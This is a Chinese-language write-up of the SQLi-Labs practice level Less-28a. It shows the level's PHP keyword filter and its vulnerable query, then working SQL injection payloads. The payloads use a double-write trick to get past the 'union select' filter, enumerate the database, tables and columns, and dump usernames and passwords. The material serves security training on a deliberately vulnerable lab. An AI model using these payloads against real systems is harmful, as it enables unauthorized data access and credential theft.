SQLI-LAPS 实验记录
Less-28a
这一关给出的提示信息显示仅对'UNION'以及'SELECT'字符串进行了过滤,相比上一关,难度要降低了一些,我们只需要使用双写绕过的方式就可以应对。

php
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}
php
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
根据之前我们的注入经验,并结合源码中的sql查询语句,按照提示信息,输入Payload如下:
php
0') union%09union selectselect 1,2,3 and ('1')=('1

结果如图所示,可以看到页面成功返回信息,我们就可以在回显位进行修改,以查找对应的数据库名、表名、列名及其他数据。
后续查找数据库表名、列名及其他数据的Payload分别如下:
-
查找数据库名:
php0') union%09union selectselect 1,database(),3 and ('1')=('1
-
查找表名:
php0') union%09union selectselect 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 and ('1')=('1
-
查找列名:
php0') union%09union selectselect 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 and ('1')=('1
查找其他数据:
php0') union%09union selectselect 1,(select concat(username,':',password) from security.users where (id=1)),3 and ('1')=('1
这里如果想要查询其他的用户名与密码,可以修改where语句当中的id值,即id=2,3,4......